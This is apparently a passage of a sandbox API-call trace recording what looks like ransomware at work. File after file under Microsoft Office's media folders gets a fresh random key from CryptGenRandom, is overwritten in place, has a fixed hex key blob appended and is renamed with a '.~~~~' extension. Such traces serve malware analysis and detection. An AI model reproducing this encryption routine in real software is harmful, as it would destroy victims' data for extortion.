	[0125.621] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0125.621] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820f68
	[0125.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.622] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820f68 | out: hHeap=0x300000) returned 1
	[0125.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0125.622] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f05b0
	[0125.622] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0125.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c1008
	[0125.622] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f05b0 | out: hHeap=0x300000) returned 1
	[0125.622] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0125.622] GetLastError () returned 0x0
	[0125.623] GetLastError () returned 0x0
	[0125.623] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0125.623] GetLastError () returned 0x0
	[0125.623] GetLastError () returned 0x0
	[0125.626] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffddb2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.626] WriteFile (in: hFile=0x11c, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x224e, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x25dfec0*=0x224e, lpOverlapped=0x0) returned 1
	[0125.629] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0125.629] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.629] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.629] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.629] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.629] CloseHandle (hObject=0x11c) returned 1
	[0125.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c1008
	[0125.631] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301076.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301076.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0301076.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0301076.wmf.~~~~")) returned 1
	[0125.679] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c1008 | out: hHeap=0x300000) returned 1
	[0125.679] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0125.679] GetLastError () returned 0x0
	[0125.679] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0125.680] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0125.681] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0125.681] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0125.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0125.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0125.681] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24567093544) returned 1
	[0125.681] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb45e6830, dwHighDateTime=0x1d60e1e)) 
	[0125.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0125.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0125.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0125.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821198
	[0125.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.681] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821198 | out: hHeap=0x300000) returned 1
	[0125.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0125.681] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f05b0
	[0125.681] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0125.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c0e40
	[0125.682] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f05b0 | out: hHeap=0x300000) returned 1
	[0125.682] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0125.682] GetLastError () returned 0x0
	[0125.682] GetLastError () returned 0x0
	[0125.682] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0125.682] GetLastError () returned 0x0
	[0125.682] GetLastError () returned 0x0
	[0125.686] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffb83e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.686] WriteFile (in: hFile=0x11c, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x47c2, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x47c2, lpOverlapped=0x0) returned 1
	[0125.689] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0125.689] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.689] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.689] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.689] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.689] CloseHandle (hObject=0x11c) returned 1
	[0125.689] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c0e40
	[0125.689] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332364.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0332364.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332364.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0332364.wmf.~~~~")) returned 1
	[0125.691] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c0e40 | out: hHeap=0x300000) returned 1
	[0125.691] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0125.691] GetLastError () returned 0x0
	[0125.692] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0125.693] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0125.693] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0125.693] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0125.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0125.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0125.693] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24568318496) returned 1
	[0125.693] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb460c990, dwHighDateTime=0x1d60e1e)) 
	[0125.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0125.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0125.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0125.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28211d0
	[0125.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.694] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28211d0 | out: hHeap=0x300000) returned 1
	[0125.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0125.694] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f05b0
	[0125.694] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0125.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c1430
	[0125.694] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f05b0 | out: hHeap=0x300000) returned 1
	[0125.694] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0125.694] GetLastError () returned 0x0
	[0125.694] GetLastError () returned 0x0
	[0125.694] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0125.695] GetLastError () returned 0x0
	[0125.695] GetLastError () returned 0x0
	[0125.697] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffe09c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.698] WriteFile (in: hFile=0x11c, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x1f64, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x1f64, lpOverlapped=0x0) returned 1
	[0125.700] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0125.700] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.700] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.700] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.700] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.700] CloseHandle (hObject=0x11c) returned 1
	[0125.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c1430
	[0125.701] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0335112.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0335112.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0335112.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0335112.wmf.~~~~")) returned 1
	[0125.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c1430 | out: hHeap=0x300000) returned 1
	[0125.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0125.702] GetLastError () returned 0x0
	[0125.703] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0125.704] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0125.704] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0125.704] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0125.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0125.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0125.705] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24569484365) returned 1
	[0125.705] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb4632af0, dwHighDateTime=0x1d60e1e)) 
	[0125.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0125.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0125.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0125.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821208
	[0125.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0125.705] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821208 | out: hHeap=0x300000) returned 1
	[0125.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0125.705] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0125.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f05b0
	[0125.706] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0125.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c14c8
	[0125.706] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f05b0 | out: hHeap=0x300000) returned 1
	[0125.706] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0125.706] GetLastError () returned 0x0
	[0125.706] GetLastError () returned 0x0
	[0125.706] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0125.706] GetLastError () returned 0x0
	[0125.706] GetLastError () returned 0x0
	[0125.754] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff3166, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.754] WriteFile (in: hFile=0x11c, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0xce9a, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0xce9a, lpOverlapped=0x0) returned 1
	[0125.755] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0125.755] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.755] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.756] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.756] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.756] CloseHandle (hObject=0x11c) returned 1
	[0125.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb078
	[0125.756] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0336075.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0336075.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0336075.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0336075.wmf.~~~~")) returned 1
	[0125.757] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fb078 | out: hHeap=0x300000) returned 1
	[0125.757] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0125.757] GetLastError () returned 0x0
	[0125.766] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0125.767] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0125.767] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0125.767] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0125.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0125.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0125.768] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24575786783) returned 1
	[0125.768] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb46cb070, dwHighDateTime=0x1d60e1e)) 
	[0125.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0125.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0125.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0125.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b8098
	[0125.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.768] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8098 | out: hHeap=0x300000) returned 1
	[0125.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3af818
	[0125.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f1a08
	[0125.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3af818 | out: hHeap=0x300000) returned 1
	[0125.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0125.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1a08 | out: hHeap=0x300000) returned 1
	[0125.769] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0125.769] GetLastError () returned 0x0
	[0125.769] GetLastError () returned 0x0
	[0125.770] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0125.770] GetLastError () returned 0x0
	[0125.770] GetLastError () returned 0x0
	[0125.773] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff3a2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.773] WriteFile (in: hFile=0x120, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0xc5e, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0xc5e, lpOverlapped=0x0) returned 1
	[0125.776] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0125.776] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.777] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.777] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.777] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.777] CloseHandle (hObject=0x120) returned 1
	[0125.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3f1a08
	[0125.778] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18182_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18182_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18182_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18182_.wmf.~~~~")) returned 1
	[0125.779] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1a08 | out: hHeap=0x300000) returned 1
	[0125.779] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0125.779] GetLastError () returned 0x0
	[0125.780] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0125.781] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0125.781] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0125.781] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0125.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0125.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0125.781] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24577133735) returned 1
